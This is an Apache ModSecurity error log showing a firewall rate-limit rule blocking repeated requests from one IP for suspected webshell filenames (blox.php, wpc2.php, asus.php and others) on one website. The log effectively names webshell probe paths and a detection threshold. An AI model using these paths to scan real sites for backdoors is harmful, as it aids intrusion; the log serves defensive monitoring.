[Sun Jan 04 21:11:18.928035 2026] [:error] [pid 17268:tid 17278] [client 20.42.216.46:11998] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blox.php"] [unique_id "aVpm9rPW8UB8HzRRfIdGDAAAAUc"]
[Sun Jan 04 21:11:20.983198 2026] [:error] [pid 21720:tid 21725] [client 20.42.216.46:20142] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blox.php"] [unique_id "aVpm-H5pkDWzwRcldOpPqgAAAIM"]
[Sun Jan 04 21:11:22.779295 2026] [:error] [pid 30954:tid 30969] [client 20.42.216.46:2625] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blox.php"] [unique_id "aVpm-k4oIXUIQsb698rbuwAAAQ0"]
[Sun Jan 04 21:11:23.881561 2026] [:error] [pid 17268:tid 17286] [client 20.42.216.46:2182] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blox.php"] [unique_id "aVpm-7PW8UB8HzRRfIdGGAAAAU8"]
[Sun Jan 04 21:11:25.053808 2026] [:error] [pid 23903:tid 23913] [client 20.42.216.46:20156] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aVpm_T_yzB-omvQP-LLNjgAAAMQ"]
[Sun Jan 04 21:11:26.753071 2026] [:error] [pid 31042:tid 31088] [client 20.42.216.46:15694] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aVpm_hIvDwkaO5JnDaTEmwAAA0c"]
[Sun Jan 04 21:11:28.418282 2026] [:error] [pid 23868:tid 23889] [client 20.42.216.46:64727] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aVpnALbaf-JYFyQL_059WwAAAE0"]
[Sun Jan 04 21:11:33.217689 2026] [:error] [pid 30954:tid 30974] [client 20.42.216.46:15718] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aVpnBU4oIXUIQsb698rb1wAAARI"]
[Sun Jan 04 21:11:34.396591 2026] [:error] [pid 30954:tid 30978] [client 20.42.216.46:27069] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aVpnBk4oIXUIQsb698rb3AAAARY"]
[Sun Jan 04 21:11:36.519378 2026] [:error] [pid 23903:tid 23930] [client 20.42.216.46:10893] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aVpnCD_yzB-omvQP-LLNnAAAANU"]
[Sun Jan 04 21:11:38.423467 2026] [:error] [pid 29350:tid 29362] [client 20.42.216.46:10914] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aVpnClZWNWo1XwAbpfahYAAAAoU"]
[Sun Jan 04 21:11:39.887044 2026] [:error] [pid 1297:tid 1311] [client 20.42.216.46:11675] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aVpnCxf98x0RBG23PjflFAAAAAw"]
[Sun Jan 04 21:11:41.611079 2026] [:error] [pid 29350:tid 29361] [client 20.42.216.46:11018] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wpdb.php"] [unique_id "aVpnDVZWNWo1XwAbpfahYwAAAoQ"]
[Sun Jan 04 21:11:43.493177 2026] [:error] [pid 23868:tid 23880] [client 20.42.216.46:19227] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wpdb.php"] [unique_id "aVpnD7baf-JYFyQL_059cwAAAEQ"]
[Sun Jan 04 21:11:45.142967 2026] [:error] [pid 29350:tid 29381] [client 20.42.216.46:10772] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wpdb.php"] [unique_id "aVpnEVZWNWo1XwAbpfahZgAAApg"]
[Sun Jan 04 21:11:46.001062 2026] [:error] [pid 31042:tid 31102] [client 20.42.216.46:47437] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wpdb.php"] [unique_id "aVpnEhIvDwkaO5JnDaTEpAAAA1U"]
[Sun Jan 04 21:11:48.976066 2026] [:error] [pid 1297:tid 1301] [client 20.42.216.46:31052] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core461.php"] [unique_id "aVpnFBf98x0RBG23PjflKAAAAAI"]
[Sun Jan 04 21:11:54.597646 2026] [:error] [pid 29351:tid 29408] [client 20.42.216.46:10481] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aVpnGptGiMsRmNcKXvo2IAAAAtg"]
[Sun Jan 04 21:11:58.499849 2026] [:error] [pid 30954:tid 30966] [client 20.42.216.46:34903] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aVpnHk4oIXUIQsb698rcCQAAAQo"]
[Sun Jan 04 21:12:01.403217 2026] [:error] [pid 29351:tid 29385] [client 20.42.216.46:12911] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aVpnIZtGiMsRmNcKXvo2JwAAAsE"]
[Sun Jan 04 21:12:02.890853 2026] [:error] [pid 30985:tid 31027] [client 20.42.216.46:35438] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aVpnIkisiM0XfzVcTWCf4gAAAc0"]
[Sun Jan 04 21:12:04.017059 2026] [:error] [pid 29351:tid 29395] [client 20.42.216.46:10245] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib068.php"] [unique_id "aVpnJJtGiMsRmNcKXvo2KgAAAss"]
[Sun Jan 04 21:12:07.813641 2026] [:error] [pid 21720:tid 21724] [client 20.42.216.46:13432] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib068.php"] [unique_id "aVpnJ35pkDWzwRcldOpP6AAAAII"]
[Sun Jan 04 21:12:09.814898 2026] [:error] [pid 30954:tid 30975] [client 20.42.216.46:13412] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib068.php"] [unique_id "aVpnKU4oIXUIQsb698rcFQAAARM"]
[Sun Jan 04 21:12:12.632334 2026] [:error] [pid 29351:tid 29397] [client 20.42.216.46:11211] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib068.php"] [unique_id "aVpnLJtGiMsRmNcKXvo2OgAAAs0"]
[Sun Jan 04 21:12:14.277602 2026] [:error] [pid 30985:tid 31024] [client 20.42.216.46:3058] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aVpnLkisiM0XfzVcTWCgAwAAAco"]
[Sun Jan 04 21:12:15.353210 2026] [:error] [pid 29350:tid 29373] [client 20.42.216.46:3054] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aVpnL1ZWNWo1XwAbpfahewAAApA"]
[Sun Jan 04 21:12:17.425622 2026] [:error] [pid 30985:tid 31029] [client 20.42.216.46:23893] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aVpnMUisiM0XfzVcTWCgCAAAAc8"]
[Sun Jan 04 21:12:20.905062 2026] [:error] [pid 31042:tid 31101] [client 20.42.216.46:14342] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aVpnNBIvDwkaO5JnDaTEyQAAA1Q"]
[Sun Jan 04 21:12:21.828167 2026] [:error] [pid 30954:tid 30972] [client 20.42.216.46:27924] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aVpnNU4oIXUIQsb698rcJAAAARA"]
[Sun Jan 04 21:12:23.006435 2026] [:error] [pid 29351:tid 29385] [client 20.42.216.46:12399] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aVpnN5tGiMsRmNcKXvo2UQAAAsE"]
[Sun Jan 04 21:12:24.552467 2026] [:error] [pid 30985:tid 31025] [client 20.42.216.46:27276] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aVpnOEisiM0XfzVcTWCgGgAAAcs"]
[Sun Jan 04 21:12:26.495448 2026] [:error] [pid 30985:tid 31016] [client 20.42.216.46:11285] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aVpnOkisiM0XfzVcTWCgJAAAAcI"]
[Sun Jan 04 21:12:27.665052 2026] [:error] [pid 21720:tid 21742] [client 20.42.216.46:11090] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index685.php"] [unique_id "aVpnO35pkDWzwRcldOpP9AAAAJQ"]
[Sun Jan 04 21:12:29.339371 2026] [:error] [pid 29350:tid 29378] [client 20.42.216.46:22755] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index685.php"] [unique_id "aVpnPVZWNWo1XwAbpfahlgAAApU"]
[Sun Jan 04 21:12:31.695474 2026] [:error] [pid 30954:tid 30980] [client 20.42.216.46:2336] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index685.php"] [unique_id "aVpnP04oIXUIQsb698rcLAAAARg"]
[Sun Jan 04 21:12:33.372578 2026] [:error] [pid 31042:tid 31081] [client 20.42.216.46:12656] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index685.php"] [unique_id "aVpnQRIvDwkaO5JnDaTEzgAAA0A"]
[Sun Jan 04 21:12:34.398633 2026] [:error] [pid 30985:tid 31030] [client 20.42.216.46:22723] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest-api.php"] [unique_id "aVpnQkisiM0XfzVcTWCgPAAAAdA"]
[Sun Jan 04 21:12:35.272399 2026] [:error] [pid 23903:tid 23915] [client 20.42.216.46:12640] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest-api.php"] [unique_id "aVpnQz_yzB-omvQP-LLN5wAAAMY"]
[Sun Jan 04 21:12:37.643364 2026] [:error] [pid 30985:tid 31028] [client 20.42.216.46:14389] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest-api.php"] [unique_id "aVpnRUisiM0XfzVcTWCgRgAAAc4"]
[Sun Jan 04 21:12:38.770688 2026] [:error] [pid 21720:tid 21726] [client 20.42.216.46:12379] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest-api.php"] [unique_id "aVpnRn5pkDWzwRcldOpQAgAAAIQ"]
[Sun Jan 04 21:12:42.714866 2026] [:error] [pid 29350:tid 29378] [client 20.42.216.46:2910] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed.php"] [unique_id "aVpnSlZWNWo1XwAbpfahnQAAApU"]
[Sun Jan 04 21:12:45.858336 2026] [:error] [pid 17268:tid 17277] [client 20.42.216.46:22243] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed.php"] [unique_id "aVpnTbPW8UB8HzRRfIdGaAAAAUY"]
[Sun Jan 04 21:12:47.551351 2026] [:error] [pid 17268:tid 17286] [client 20.42.216.46:22779] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed.php"] [unique_id "aVpnT7PW8UB8HzRRfIdGawAAAU8"]
[Sun Jan 04 21:12:48.739725 2026] [:error] [pid 23903:tid 23923] [client 20.42.216.46:12280] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed.php"] [unique_id "aVpnUD_yzB-omvQP-LLN8AAAAM4"]
[Sun Jan 04 21:12:49.913612 2026] [:error] [pid 23903:tid 23932] [client 20.42.216.46:36008] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-bar.php"] [unique_id "aVpnUT_yzB-omvQP-LLN9AAAANc"]
[Sun Jan 04 21:12:51.057507 2026] [:error] [pid 31042:tid 31102] [client 20.42.216.46:22736] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-bar.php"] [unique_id "aVpnUxIvDwkaO5JnDaTE6QAAA1U"]
[Sun Jan 04 21:12:52.849618 2026] [:error] [pid 1297:tid 1306] [client 20.42.216.46:17358] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-bar.php"] [unique_id "aVpnVBf98x0RBG23PjflXwAAAAc"]
[Sun Jan 04 21:12:59.173961 2026] [:error] [pid 30985:tid 31038] [client 20.42.216.46:2726] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache795.php"] [unique_id "aVpnW0isiM0XfzVcTWCgjAAAAdg"]
[Sun Jan 04 21:12:59.636399 2026] [:error] [pid 21720:tid 21723] [client 20.42.216.46:17348] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache795.php"] [unique_id "aVpnW35pkDWzwRcldOpQIAAAAIE"]
[Sun Jan 04 21:12:59.936677 2026] [:error] [pid 1297:tid 1315] [client 20.42.216.46:11766] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache795.php"] [unique_id "aVpnWxf98x0RBG23PjflbQAAABA"]
[Sun Jan 04 21:13:01.506562 2026] [:error] [pid 21720:tid 21730] [client 20.42.216.46:14351] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache795.php"] [unique_id "aVpnXX5pkDWzwRcldOpQIwAAAIg"]
[Sun Jan 04 21:13:03.107354 2026] [:error] [pid 23868:tid 23886] [client 20.42.216.46:12385] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index282.php"] [unique_id "aVpnX7baf-JYFyQL_059zAAAAEo"]
[Sun Jan 04 21:13:09.988872 2026] [:error] [pid 17268:tid 17291] [client 20.42.216.46:24412] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index282.php"] [unique_id "aVpnZbPW8UB8HzRRfIdGfwAAAVQ"]
[Sun Jan 04 21:13:10.531656 2026] [:error] [pid 30954:tid 30974] [client 20.42.216.46:13128] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index282.php"] [unique_id "aVpnZk4oIXUIQsb698rcYgAAARI"]
[Sun Jan 04 21:13:10.711168 2026] [:error] [pid 23868:tid 23882] [client 20.42.216.46:22741] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index282.php"] [unique_id "aVpnZrbaf-JYFyQL_0593AAAAEY"]
